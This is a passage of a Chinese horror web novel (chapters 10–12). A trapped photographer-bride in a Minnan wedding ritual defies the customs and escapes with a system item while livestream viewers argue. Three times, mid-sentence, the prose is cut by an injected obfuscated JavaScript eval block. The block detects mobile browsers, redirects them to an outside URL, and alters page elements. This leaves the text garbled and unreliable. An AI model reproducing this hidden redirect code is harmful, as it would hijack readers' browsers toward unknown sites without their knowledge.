穆青青的暗访被人发现,设备被没收。为惩罚她,那些人残忍地折断了她的四肢,让她在血液流逝的寒冷中,一点一点感受死亡降临。 至此,穆青青惨死的事情已基本弄清,齐檎丹正唏嘘时,考察系统弹出窗口。 【新剧情已解锁!奖励积分+200】 【新解锁剧情20%,当前剧情解锁进度:40%】 中年男人沉默了很久:“穆青青可能早就意识到,会有这一天了。我这里有个东西,或许能帮得上忙。” 他停顿了一下,电话那头传来鼠标的点击声,“穆青青出嫁时,身上带了个暗访摄像头。由于我们这一大群演员中,她最信得过我,所以她给那摄像头添了个设置,拍到的内容都会自动传我一份。虽然说吧,我看了以后,没发现有啥特别的,但是可以发给你们看看。” 这个男人年纪不轻,对电子设备不算特别熟悉,传输暗访视频也传得慢。 等待传输的时间里,他突然询问: “你们那儿,是不是有人在办婚礼啊?我怎么老觉着,我听到了唢呐声?” 然而,为了避免影响通话,齐檎丹和梁安颜在打这个电话时,距离陈氏的迎亲队伍已经很远了,本不会听见乐队的奏乐。 可中年男人没有幻听。 “我也听见了。”齐檎丹拧起眉。 她抬眼,朝唢呐声的来向望去,映入眸中的,却不是陈氏族长的迎亲队伍。 那迎亲队伍吹吹打打,声势浩大地从对面走来,和陈氏的迎娶队伍几乎迎面撞到一起。两支队伍分明都是喜庆的大红,碰面时,却转瞬间天昏地暗,阴气飕飕。 意识到发生了什么以后,梁安颜的心跳漏了一拍: “不好,我们遇到‘喜冲喜’了。在迎娶途中遇到另一支迎娶队伍,这是闽南婚俗中的一个大忌。” 齐檎丹:“会怎么样?” “会抵消双方新人的福分。”梁安颜来不及解释太多。她边说边走上前,试图阻拦对面的迎亲队伍,却被那群人一把蛮横地挤开。 两边花轿离得越来越近,擦肩而过。阴风的呼啸,一下被催发到极致。 宛如野兽的哀鸣。 阴恻恻的海风卷得沙石乱飞,密密地打在脸上,迎亲队伍两边的人,都不由得用手臂挡住了脸,难以睁眼视物。 齐檎丹同样紧闭着眼。她尽可能地将相机包裹进外套里,企图减少沙粒对相机的磨损伤害,但这个动作甚至还没完成,她骤感头重脚轻。 下一刻,肆虐的风沙仿佛远去,眼前的光明却暗了下来。 齐檎丹猛然睁眼。 只见她竟身在花轿当中,门窗俱被关死, “靠!”齐檎丹忍不住暗骂一声。原来这个“喜冲喜”,只抵消她的福分啊。 10. 古厝诡婚10 也不知道这迎娶队伍使了什么法子,被关进花轿的瞬间,齐檎丹便被换上了嫁衣。 这嫁衣层层叠叠,如同打包礼物的包装纸,上面的刺绣一层赛一层繁复,裙摆的长度拖泥带水得令人心肌梗塞。更别提头上罩的乌纱,和红盖头的作用差不多,既不利于行动,也不利于拍照。 这真的是……欺人太甚。 齐檎丹蔫蔫地瘫在花轿里,憋着生闷气。 作为摄影师,她平生最讨厌的事情有两件:一是有人想方设法不让她拍照,二是没有能拍摄的东西。而这两件让她顶顶讨厌的事,在这花轿里占了个全—— 花轿内乌漆嘛黑没有光,啥也拍不到。 想出花轿,又出不去。 齐檎丹气到怀疑,这“喜冲喜”是陈府人刻意制造出的戏码,她的福分被抵消了,倒霉事儿可不就找上门来了嘛。 进花轿,是她最倒霉的事情。 没有之一! 盘算着自己手头还有不少积分,齐檎丹打开系统商城,想要从中找出些可以破轿而出的工具。怎料,系统商城里却灰蒙蒙一片,没一个她能购买的东西。 【检测到特殊场景,系统商城禁用中。考察员离开花轿,系统商城将恢复购买。】 可恶!太可恶了! 她辛辛苦苦这么久,好不容易攒了这么多积分,却竟然一点用也没有。齐檎丹心灰意懒,头一次把相机也收进了系统背包。 但都进花轿里了,总不能什么都不干。 毕竟,这里只有她能进来。 齐檎丹二话不说,对花轿展开了地毯式搜索。 花轿的门是拿封条封死的,窗子也被严防死守。即便她竭尽全力,最多也就只能将窗户推开一道小缝。 显而易见,齐檎丹不是第一个在轿中探索出路的人,因为门板和窗户边上,布满了数不清的划痕,其中有不少,还带着斑斑血迹。血迹已然干涸,变为深褐,凝固了那些曾经被骗进花轿里的新娘们,在绝望中最后的挣扎。 然而人为刀俎,她们为鱼肉。 凭借她们的一己之力,根本无法与这群似人非人的怪物抗衡。 齐檎丹将窗缝推到最大,借助自然光,勉强观察起这些划痕。这些划痕交错重叠,宽窄不一,有些细窄的,显然是指甲划出,然则那些较宽的…… 齐檎丹拿自己的指尖比了一下,发现人的指甲,不太可能抠出这么宽的痕迹。 这痕迹,更像是用某种工具划出的。 齐檎丹福至心灵,单手摸向窗子下方,瓷器坚硬的触感和系统的提示,几乎同时传入齐檎丹的大脑。 【恭喜您获得稀有道具“残缺的夫人妈碎片(3/5)”。】 地上的碎瓷片,足有两块。被她拾起后,碎片的收集进度直接宣告过半。 这座夫人妈神像的年代大概比较久远,这三块碎片都已经老化包浆,微微泛黄。由于碎片都不小,只需拼合起来,神像的样貌便能够看得七七八八—— 这个夫人妈神像的衣着,竟跟昨夜她见到的血衣女鬼,非常相似。 齐檎丹心脏一紧。 她刚要把这三块碎片重新分开,残损的神像上,却发出微弱的光芒。 朦朦胧胧中,齐檎丹似乎听见,有人向夫人妈像虔诚祈愿的声音:“我已经进入陈府,为你塑了神像。我知道,你不是病死的,求你保佑我,早日找到杀害你的凶手,让他血债血偿……” 祈愿声如隔岁月倥偬,缥缈虚无,但有一点,齐檎丹不可能听错。 那是一个女声。 且这信徒,并非陈家的人。 这跟齐檎丹原先猜测的,这座夫人妈神像是由陈府人打造和供奉,截然相反。陈府人不是信这个夫人妈神明的,信神像的另有其人,而且恐怕已然遇害。 否则,这座神像不会被打砸成这幅模样。 可倘若他们不信这个神,与神像模样相同的血衣女鬼,怎么会被囚禁在陈府内?这些陈家人的怪力,又是从何而来?齐檎丹百思不得其解。 此外,那信徒的话语中还有一处,令齐檎丹倍感困惑。拜神的时候,她对夫人妈神像使用的,是平辈之间互称的“你”,而非敬重意味更浓的“您”。 这不符合信徒对神明敬畏之心。 哪儿有信徒和神明的地位,是齐平的呢? 齐檎丹正思索间,照进来的光忽地暗了一下,狭窄无比的窗缝间,露出梁大小姐担忧的脸。 “唉,都怪我没能阻止‘喜冲喜’,还是害你被关进花轿了。这大概是陈家人故意设计好的,他们才根本没拦。”梁安颜忍不住蹙起眉心,却碍于身在迎亲队伍中,只得把不满压回嗓子眼里: “我刚刚,把穆青青用暗访摄像头拍摄到的画面看完了,穆青青出嫁时的遭遇,跟我们推测出的,基本吻合。” 这份陈家人没能够删除的视频,记录了穆青青从出嫁到遇害的全过程。 是他们杀人的铁证。 “这段视频非常重要,一定保护好。”齐檎丹正色道。但她总觉得,这件事情远没有那么简单。 接受献祭的神是谁?夫人妈碎片拼合时,出现的那段声音里,为什么也有一个未知身份的神? 这两个神,一样吗? 梁安颜还在继续说话,向齐檎丹同步进展:“我好不容易说服两家的迎亲队伍,让他们互相放鞭炮了,等放完鞭炮后,‘喜冲喜’的影响就能消除。哪怕之后你不一定能从轿子里出来,最起码能够恢复一点运气,只是……” 梁安颜话说一半,却突然停住。 齐檎丹:“只是什么?” “‘喜冲喜’的风波过去以后,陈老师声称担心大家的安危,给考察团里的所有人都点了名,现在考察团里的人都知道,你突然消失了。”想到这儿,梁安颜就不禁叹气,“等会儿再一下花轿,你新娘的身份就藏不住了。” 为了避祸,他们不会再让她回归考察团,齐檎丹只能被迫独自行动。 因此,她会更加危险。 面对即将到来的艰难处境,齐檎丹只敷衍地点了下头,似乎并未放在心上。事实证明,她对无法拍照这件事,更加耿耿于怀。 因为紧接着,齐檎丹的话题,便陡然来了个180度大拐弯:“你的系统商城能用吗?能不能我把积分转你,你帮我买个工具,把这扇窗子撬开一点啊?也不用全撬开,只要能开得大一点就好,现在这个窗缝太小了,我什么也拍不到。” 梁安颜:“……” 不是,都被困花轿命悬一线了,还在没心没肺地捣鼓花轿窗子,只求拍照? 梁大小姐顿时失语。她感觉为齐檎丹操的心全都进了狗肚子里,一点没剩,忍不住恨铁不成钢:“可以是可以。但是……你除了想着拍照,能不能也在意一点自己的处境?” 话虽这么说,梁安颜还是出于盟友关系,躲着迎亲队伍里的那些人,偷偷帮着齐檎丹,撬掉了花轿窗户上的两颗钉子。 失去两颗钉子的改变,看似微小。 作用却立竿见影。 即刻,窗口侧着塞手机进去都费劲的窄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831152|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缝,一下子变成了足以伸出手臂的宽度。齐檎丹把相机的镜头卡在缝隙里,相机取景器里的视野,跟没有窗户遮挡的时候,几乎无异。 大大方便了齐檎丹观察与拍摄沿路的风景。 随着花轿被抬着前行,窗外的风景也逐渐变得不同,从树林变成了一座座红砖古厝。 花轿进陈家村了。 路旁的民宅明显多了起来。 红瓦连天,蔓延成一派恢宏的霞光,壮观得震撼心神。齐檎丹不由得多拍了几张。 然而,当齐檎丹像以往那样回看照片时,她却发现了一个新奇之处。齐檎丹忙在窗框上轻敲两下,示意梁安颜来看照片:“虽然都是红砖古厝,但这些屋顶似乎不太一样,这有什么讲究吗?” “啊,是闽南的五行山墙。”梁安颜发挥了她堪比资料库的知识容量,查找起闽南知识来毫不费力,“闽南红砖大厝的山墙,也叫‘厝角头’,在形状上有金木水火土之分……” 金形圆,土形方,火形锐,木形直,水形曲。 五种山墙形态各异。 上面的雕塑装饰,却同样华美。 齐檎丹不知想到了什么,缓缓沉下眸子:“有纸笔吗?借我一下。” 她左手按纸,右手动笔飞快,时不时抽空瞥方才拍摄的照片一眼,以作参照。花轿内,顿时只剩下“唰唰”的落笔声。 终于,齐檎丹的落笔声停了下来。 她把绘制完成的纸,卷成细细一条,从窗缝里塞给梁安颜:“根据我进入陈家村后拍的照片,我画出了沿途建筑的五行山墙排列图。很明显,这些山墙上的五行排列是有规律的,只是我不知道这规律是什么。” 联系上五行,梁安颜立刻想到了阵法。 然而这个时候,迎娶的队伍离陈氏族长的古厝,已然越来越近。 梁安颜不得不以最快速度,从系统商城买了本《道士必备阵法大全》,一目十行地查阅起来: “唯一能对得上这规律的,只有一个法阵,作用是将鬼魂的怨气逆转成财运。法阵需要在厉鬼怨气最重的时候布下,能够将厉鬼困死在阵内。厉鬼的怨气越重,阵法所在的家族越是财源滚滚,请道士来布阵的人本身,也能青春永驻,不老不死。” 这是一个诡异的阵法。正因这阵法的功效,请道士来设置阵法的那家人,通常会不断采取措施,加重厉鬼的怨气。 干出的事,往往伤天害理。 远比鬼祟阴毒。 “整个陈家村,就是由五行山墙构成的,一个巨大的法阵。”齐檎丹低声喃喃。而作为法阵核心的阵眼位于何处,齐檎丹纵使没有看过完整的法阵图,也可以猜到—— 阵眼,是族长的古厝。 也是她马上要被送去的地方。 新娘的惨死,是陈氏加重厉鬼怨气的手段。所以,囚困厉鬼的阵眼,一定在那里。 轿夫的步子迈得越来越快,花轿摇摇晃晃,朝既定的方向而去。从不足一指宽的花轿门缝内往外,齐檎丹已经能够远远地看到,族长那座古厝的轮廓了。 不愿意外人离轿子太近的轿夫,已经开始使眼色赶人。 留给齐檎丹和梁安颜的时间,不多了。 但,齐檎丹还有一个问题没问。 赶在梁安颜从轿边离开前,齐檎丹猛然叫住了她:“如果有个夫人妈神像,跟某个鬼长得很像,这算是什么个情况?” 古厝里的厉鬼,齐檎丹只能想到血衣女鬼。血衣女鬼既有鬼身,又有神像—— 她,究竟是神,还是鬼? 11. 古厝诡婚11 “什么?夫人妈的神像,怎么跟鬼长得像?”齐檎丹这一个问题,问得梁安颜不由得蹙起眉心。 梁安颜的第一反应,是以为自己听错了。 夫人妈是神,怎会和鬼相似? 然而,这一抹难以置信的神情,并没有在梁安颜脸上停留太久。她很快恍然,道:“我想起来了,这确实有可能。你说的这类夫人妈,应该是夫人妈这个女神称谓当中,比较特殊的一个分支。不同于拜神,这个分支是拜鬼。” 闽南以各路神仙聚集闻名,对神明的信仰众多。但拜鬼,齐檎丹头一次听说。 拜神是因有所求,需借神力达成。 拜鬼又是图什么? “拜鬼的目的主要有两个,结缘或者化仇。”眼见离族长古厝越来越近,梁安颜只得在有限的时间里,加快了说话的语速: “闽南有个说法,非自然死亡的未婚女子,可以被其亲友供奉起来,作为家中的保护神。但在实践中,局限往往没有那么严格,即便女子已婚,即便是男性,也可能被供奉,而这类神的神品较低,也被称为‘私家佛’或者‘房内神’。” 其中,作为女性的这些神,在有些地区也会被称为夫人妈。 闽南拜鬼,拜的也多是女鬼。 闽南地区普遍认为,枉死的女性很容易化为厉鬼,给她们一个成‘神’的途径,能够防止厉鬼作祟。是敬,也是畏。 根据碎片拼合时,齐檎丹听到的语句,为血衣女鬼造像的是其平辈亲友,为了复仇,此人同样嫁进了陈氏家族。之后,这个女子下落不明,陈家人砸毁女鬼神像,毁掉成神的渠道,将血衣女鬼困于阵眼,用对女鬼的折磨刺激,换取家族的荣华富贵。 这个为血衣女鬼复仇的女性,会是新娘鬼中的某一个吗? 复仇之事,是否走漏了风声? 由于齐檎丹满脑子充斥的,都是血衣女鬼身上贴着黄符的沉重锁链,以及那浸饱鲜血的衣袖,以至于花轿被抬到古厝门前时,她望着外头大红的婚庆装饰,恍然间,竟有种坠入血海的错觉。 又或许,这不是错觉。婚嫁装潢与染血衣衫的颜色,同样殷红。 如同某种悲剧的昭示。 但,齐檎丹绝不会顺从这样的命运。血衣女鬼的正脸,她还没有拍到,族长古厝里发生的事,她还没有搞清楚……齐檎丹才不甘愿认命。 正想着,花轿猝然被放下。 落地时的剧烈震荡里,成串鞭炮紧贴着花轿爆开。 那爆裂声离得太近,震耳欲聋,有几声高亢得变了调,宛如千百厉鬼的哭嚎。看热闹的村民们,却成群结队地围拢上来,齐声欢呼,笑闹不止。 他们竭尽所能地伸长脖子,用一双双恐怖非人的眼珠,热切注视着花轿,恨不得烧掉轿子,看见轿中新娘惊慌失措的表现。 齐檎丹隔着轿子的窗缝,冷冷扫视过外面一张张不怀好意的男人脸,瞳色深不可测。 “多加小心。”梁安颜用唇语向她示警。 任务触发了。 【高危身份任务:请考察员沉浸式体验闽南婚俗,以新娘的身份进入古厝。】 轿子一旦抵达夫家,针对新娘的考验就愈见繁多。 下轿后,新娘不仅要有红包回赠小叔请她下轿时的红柑,还要用八卦米筛罩头,再跨火薰……一整套仪式下来,新娘方能进门,过门时也不能踩门槛。即便是下轿前,新娘也会被新郎猛踢轿门恐吓,寓意是镇住新娘,让她的威风无法压过丈夫。 然而,根据“喜冲喜”得到的教训,新娘的状态就是齐檎丹的状态。 任何会削弱新娘的情况或者习俗,一旦付诸实践,都可能给齐檎丹带来无法预期的糟糕影响。 首当其冲的,就是“踢轿门”。 新郎“踢轿门”意在给新娘下马威,将新娘置于被压制的低位。 然而,在夫家这样一个陌生的环境下,面对一大群陌生的人,新娘倘若连一点捍卫自身权益的“威风”都没有,未来她在家中的地位可想而知。 齐檎丹必须把这招给破了。 轿旁的鞭炮燃放殆尽,滚滚浓烟冲天而起。气味刺鼻的烟雾里,陈氏的族长——也就是这场婚礼的新郎,一步步向齐檎丹身处的轿子走来。他戴着帽子,低着头,齐檎丹看不到他的脸,只看见他在烟里若隐若现的一双鞋。 这鞋子,很快就将踢到花轿上。齐檎丹需要必须想到破解之法。 齐檎丹透过轿子的窗缝,向外看去。进这个副本的考察员本就只有十来个,又因为经过昨晚到今早的考验,死去不少。剩下的人除她以外,只剩下五个,三男两女,在数量上,与村民和夫家人差距悬殊。 此刻,这些考察员全被远远地赶到一边。特别是梁安颜,因为曾离轿子最近,成为了重点观察对象,被几个身强力壮的轿夫严防死守,不让她靠近半步。 其他考察员是靠不住了,齐檎丹只能靠自己。 陈氏族长已经走到轿前。他右腿抬起,小腿肌肉收缩蓄力,长裤下露出的鞋底厚实坚硬,压迫感极强。仅仅是瞥一眼,齐檎丹都能想见,这一脚要是踢实了下去,将会是多么大的威力。 绝不能让他踢成功! 千钧一发之际,齐檎丹抓起相机,将相机内置闪光灯的功率开到最大。 在陈氏族长那一脚即将踢出的瞬间,齐檎丹猛地起身,把闪光灯怼到轿门缝隙上,狠狠地按下了开关—— 闪光灯霎那间生效。 “咔嚓!”快门声与白光同时发威。 堪比探照灯的白光,顷刻间迸发到极致,将近处的一切照得雪亮。仿佛数以万计的针尖,争先恐后地往族长眼肉里扎。 强光的刺激下,视网膜对光线的适应能力骤然下降。 直接导致了暂时性失明。 “啊!!!”族长只觉得眼前一片漆黑,忍不住头晕目眩,身体后仰,踢出的那只脚也偏离了原定的轨迹。 飞起的脚尖,甚至还没擦碰到花轿的边缘。 一脚踢空,族长本人反倒失了平衡。 他崴了脚踝,踉跄着向后倒退了几步,这才没有当着他那群族人的面,结结实实地摔上一跤。然而,他身为一族之长的脸面,这回算是完全丢尽了。 周围嘲笑声一片,族长揉了揉重新恢复视力的眼睛,眼中的恨意暴露无遗。得亏几个主持婚礼的族人在旁边好歹拦着,劝他不要误了吉时,他才没有冲到轿前,恶狠狠地再给齐檎丹补上几脚。 “踢轿门”这关,就算是这么过了。 齐檎丹缓了缓神,刚将相机收回系统背包,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831153|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人上前揭开了轿门上交叉的大红封条,替她开门。 随后,两颗红澄澄的柑橘用红漆盘盛着,被小叔送进轿中,意在请她下轿。而齐檎丹,也取出事先剪嫁衣上的红布下来做的红包,作为回赠,将这一环节非常敷衍学地糊弄了过去。 男人扮成的送嫁姆喜笑颜开,赶忙捏着嗓子念唱道:“新人请出轿,春通吃,晚通粜。红灯举一对,入门大富贵。米筛罩轿头,夫妻斗到老。新人行出来,好事捷捷来。” 送嫁姆口中唱着吉利话,殷勤地扶齐檎丹下轿。 一下轿,脚就站到事先铺好的红毯上。 长长的红毯延伸向前,没入族长古厝幽深的阴影里,好似一道蜿蜒的血痕,令人心生不适。 齐檎丹还没站稳脚跟,贴着八卦的米筛就按照习俗,被送嫁姆罩到了她的头上。 现在已近傍晚,天光本就黯淡,再被这么一遮,齐檎丹眼前更加发黑。可送嫁姆对她的不便视而不见,只管引着她一路向前,走到烧得正旺的火盆跟前:“跨火薰,年年春。隔年抱个查埔孙。跨得过,夫妻和好百廿岁。” 在闽南语里,“春”跟表示怀孕的“有身”谐音,“查埔孙”指的是男孩。重男轻女意味极浓的话,听得齐檎丹直皱眉头。 将新娘与生育价值捆绑。 不仅来年就要生,还必须生男孩? 齐檎丹单是想想,都觉得一阵恶寒。 这个副本里,婚礼每个部分一旦被完成,该环节的寓意不管是凶是吉,都会应验。 因此,此话要是成真了,便意味着考察结束后,她还会被继续留在这个副本里,给这个狠毒的族长生儿育女。这句话看似是祝福,实则是对她的诅咒,齐檎丹一点都不想让这句话成真。 极强的排斥心理攥紧胃袋,让齐檎丹本该从火盆上跨过去的脚,禁不住突然停住。 新娘的红绣鞋悬了空。 绣花鞋下,是烧得正烈的火盆。火盆里,烈焰“噼里啪啦”地攒动,火星四溅。 时间一秒一秒地流逝,火盆里的干草越烧越少。焦灼的热气,从堆放的干草上窜起,围观婚礼的村民们,目光比盆中的烈火滚烫。倘若目光能凝成实质,他们大抵已经把她强行押着,推过了火盆。 “新娘,该跨火薰了。可千万别误了吉时。”送嫁姆咬牙切齿地催促,两腮假笑和言语威胁,糅和成违和的诡异。 跨,还是不跨? 齐檎丹看似有选择,实则已无退路。 村民的目光烧着她,送嫁姆和“夫家人”的眼神割着她。万般不得已下,齐檎丹慢吞吞地将足尖往前挪了一寸。 就在这时,齐檎丹的系统背包中陡然有了动静。原本安安静静待在背包内的夫人妈碎片,突然一颤,一道仅她可见的金色流光,随即亮起。 那光芒越发炽烈。 压过了日色,盖过了灯光。 竟是与盆中躁动的烈焰,隐隐有相争之势。 好似故意要与送嫁姆作对一般,一个温和的女声,在齐檎丹头脑中极清晰地响起。那声音响起于齐檎丹的脑海,又不止局限于齐檎丹的脑海,声浪自内向外,一层层掀起,转眼间响彻古厝: “过火气,百般都不畏。” 这,竟同样是一句“跨火薰”的祝福语。 12. 古厝诡婚12 要知道,像这样的仪式性祝福语,针对同一婚庆环节,只应该存在一个。换言之,送嫁姆和夫人妈碎片的话语中,只有一条能够真正生效。 两句祝福语截然不同,彼此之间就跟斗法似的,此消彼长。 最终,夫人妈碎片占了上风。 碎片上,华光笼罩流转。不过片刻,齐檎丹忽然感到身上一轻,仿佛某种约束碎裂开来,被夫人妈碎片所赠予的祝福,轻柔地覆盖了过去。 只待跨过火盆,这祝福即可生效。 送嫁姆的脸黑如锅底。他一手依旧把八卦米筛罩在齐檎丹头上,另一手作势来拦。 可,齐檎丹哪儿是这么好拦的?说时迟,那时快,齐檎丹一把推开送嫁姆意图阻拦的手,抓紧时机,大步迈出向前—— 脚步生风,裙袂飞扬。 齐檎丹一下子从火盆上跨了过去。 火光暖融,被跨步时的疾风带得倾斜。阻拦失败的送嫁姆,和她强加在新娘身上的生子枷锁一起,被齐檎丹猛然甩在身后。 【恭喜您获得“夫人妈的赐福”,在副本期间内,勇气增加。虽然因为塑像仍不完整,能带来的保护作用近乎于无,但请知足吧,至少它帮你避开了你不想要的命运。】 尽管送嫁姆很快依旧会追上来,将那乌云似的米筛罩回齐檎丹的头顶,但“跨火薰”和“踢轿门”的这两个环节,让齐檎丹更加确信: 闽南一些传统婚俗里,新娘明显处于被压制的低位。 方才,送嫁姆唱的婚礼仪式歌“念四句”中,新娘“生儿子”的义务常被反复强调。此外,有两个婚俗,也将压制女方当成对婚礼的祝福。一个是刚经历的“踢花轿”,而另一个,则是她马上要面对的“过门槛”。 新娘过门时,并不被允许踩门槛。 因为按照闽南习俗,新娘对门槛的踩踏,预示着新娘将会凌驾于夫家人之上。倘若新娘踩到门槛,送嫁姆必须故意压低米筛,惊吓新娘来破解。 然而,在家中地位高不好吗?这条婚俗里规定不能做的,就是她齐檎丹必须做的。 这门槛,她踩定了! 红毯将到尽头,门槛近在眼前。齐檎丹抬眼锁定目标,脚步逐渐加快,转眼之间便来到了门槛前。 她抬起右脚,在送嫁姆警惕无比的目光中,缓缓前伸,在半空中越过了门槛。 送嫁姆脸色略有缓和,以为她将乖顺地从门槛上跨过,怎料,送嫁姆那憋在胸口的一口气刚要松下来,就见齐檎丹的脚尖旋即回缩,以迅雷不及掩耳的速度,径直踩在了门槛上。 这一脚,踩得堪称稳、准、狠。 叫人反应不过来。 绣花鞋的鞋底“啪”一声拍在门槛上,清脆响亮,好似一记甩在陈家人脸上的耳光。 婚礼的气氛不知何时悄然凝固,爆竹喜乐偃旗息鼓,四下里死寂得可怕。只有陈旧的木材门槛,被踩得“嘎吱”作响。 送嫁姆登时急了。一回过神来,他就慌里慌张地,要用八卦米筛去压齐檎丹头顶。然而,能够起到破解作用的八卦米筛分明就在手上,送嫁姆转头一看,却瞬间傻了眼—— 他根本没法拿米筛压齐檎丹的头,因为他根本看不见齐檎丹的头。 顷刻间,齐檎丹竟消失得彻彻底底。 踪影全无。 到手的新娘,没了! 婚礼现场这一出“大变活人”,惊得所有人目瞪口呆。送嫁姆尖叫着丢开了米筛,看热闹的村民争先恐后地往前挤,受邀而来的宾客神情各异,嘴里议论纷纷…… 贴在门上的红双喜,不知被谁撕扯了下来,落在地上,被百十来双鞋底挨个践踏,踩得破烂黢黑。 乱成一锅粥的局面下,陈氏族长扯着喑哑暴怒的嗓子,气急败坏地咆哮: “逃婚!这是逃婚!” 话音未落,嘈杂的人声已大了许多。在族长的呵斥下,陈家人聚集在一起,商议着怎样抓回新娘。梁安颜位于的考察团中,也同样人心惶惶。 其他人担忧考察任务是否能够完成,梁安颜则格外担心齐檎丹的安危。 齐檎丹身在哪里? 突然消失,是她故意为之吗? 还未完成婚礼就消失,她是否会被判定任务失败,受到规则惩罚? 摊上齐檎丹这样一个高危身份的队友,梁安颜的眉头几乎就没有舒展过。她下意识往齐檎丹消失的方向挤。然而越向前,围观的人数就越多。 她被人群中几股不同方向的力量所推搡,身上价格高昂的衣裙都被挤皱。但无论怎么努力,她始终难以前进半步, 万般无奈之下,梁安颜只能黯然挤出人群,退到一边。 还没走出两步,变故陡生。 梁安颜的手臂被人猛然一扯,整个人猝不及防地往后退去。 梁安颜瞳孔骤然缩紧。一声尖叫,本能地从梁安颜口中溢出,却被那人眼疾手快地拿手捂住。与此同时,她耳畔听到了一个熟悉的声音: “嘘!别出声,是我。” 梁安颜诧异地抬起头,只见凭空消失的齐檎丹,此刻正好端端地站在她面前。而一顶系统出品的隐形斗篷,已被齐檎丹撑开,不偏不倚地罩在她们两个的头顶。 齐檎丹朝梁安颜眨了眨眼睛,略微透明的杏眼里流光溢彩:“趁着现在场面乱,我们悄悄从旁边走,不会有人注意到。” 陈家人的注意力,还在门口打转呢。 梁安颜看到这斗篷道具,顿时明白了齐檎丹逃婚的办法。她笑了下,悬着的心终于放松:“踩门槛那会儿,你是用隐形斗篷逃的吧?这道具可不便宜。” “是啊,费了我不少积分呢。”一想起隐形斗篷高昂的售价,齐檎丹身上,便忍不住弥漫开淡淡的死意。 这个斗篷是真的很贵。单人的贵,双人的更贵。 而且隐身还有时间限制。 只管用一个小时。 单是这一个斗篷,直接把她攒了这么久的任务奖励积分,以及直播间观众给她打赏的积分,给嚯嚯得一干二净。齐檎丹掏空家底,一夜重回解放前,现在想想,还是十分肉痛。 齐檎丹的面无表情,被梁安颜解读成了积分充裕,无需担心。因此,梁安颜没在这个问题上多纠结,转而问出了她最好奇的疑问:“婚礼仪式才进行到过门,连拜堂都没拜,就这样一走了之,不会有危险吗?” “考察系统没让我拜堂。”齐檎丹说。 任务只说,她需要维持新娘的身份进入古厝。除此之外,并没有给出更多指示。 然而,从进门到成亲拜堂乃是一整套流程,环环相扣,缺一不可,考察系统这样突然地将其从中截断,显然是非常不寻常的情况。正是从这个不寻常中,齐檎丹察觉到了危险。 考察系统是给考察员提供帮助的,不会在任务上制造必死局,为此,系统可能不惜损害任务的完整性。 “我怀疑,一旦拜堂,我必死无疑。”齐檎丹语句发凉。 新娘这高危身份,最危险的就在这里。 一旦不慎进了轿子,不完成整套婚俗仪式,新娘就很难逃得掉了。在轿中时,被像囚犯一样严密监管。一下轿后,又成为所有人聚焦的视觉中心,一直被紧盯着,毫无逃脱的可能。 倘若齐檎丹手头缺了充足的积分,或者没有敢挥霍掉这些积分,趁这个机会孤注一掷的魄力,她即便意识到了不对,也会被迫完成接下来的仪式。 而这么做,将使她丧失生还的余地。 万劫不复。 这个猜测刚脱口而出,被齐檎丹屏蔽的弹幕,就疯狂滚动了起来。弹幕的数量,一下暴增到原来的五六倍,雪片似的刷了满屏。 “……该死,真让她猜对了。之前那些新娘,基本都是在这里死的。” “拜了堂,成了亲,这关系就算彻底绑定了。成婚后,新娘只能永远待在夫家,就算把主线任务做完了,也不被允许离开副本。” “能逃得出来,算她走了大运。” 直播间的观众一多,原本安安静静讨论剧情的弹幕里,难免多出不和谐的音符。 “这个齐檎丹太没责任心了,她想过其他人没有?”有观众站在道德制高点上,对齐檎丹的逃婚大加谴责:考察员的主线任务都是考察婚礼,婚礼才进行到一半,她这个新娘子就跑出来了,让其他人怎么办?在这个副本里困到死吗?!” 这条谴责看似逻辑成立,直播间里的观众,又大多也是副本里挣扎求生的普通人,虽然明白“人不为己,天诛地灭”的道理,却仍忍不住代入自身。 一代入到这个情绪里,思想很轻易就被带着跑。 “确实太自私了,令人作呕。” “在副本里摊上这样的人,真是倒大霉了……” 顷刻之间,攻击齐檎丹的弹幕迅速成为了主流,就算有站出来反驳的明眼人,也很快被集火,被群起而攻。齐檎丹的个人直播间,顿时变得乌烟瘴气。 然而,铺天盖地的谩骂诋毁里,竟还有一条格格不入的弹幕胆敢出现:“齐檎丹的逃婚,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831154|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会影响主线任务。” 在这样的氛围下,发这条弹幕简直是吃了熊心豹子胆。 那群喷子下意识就要开骂。 但当他们点进头像后,一个金光闪闪的头衔,却让他们闭了嘴——只有考察员排行榜总榜上的前十名,才能够拥有这样的特效头衔。 而即便在这前十名当中,顾斩风也一直是当之无愧的佼佼者。 他们,压根不配质疑这样的大佬。 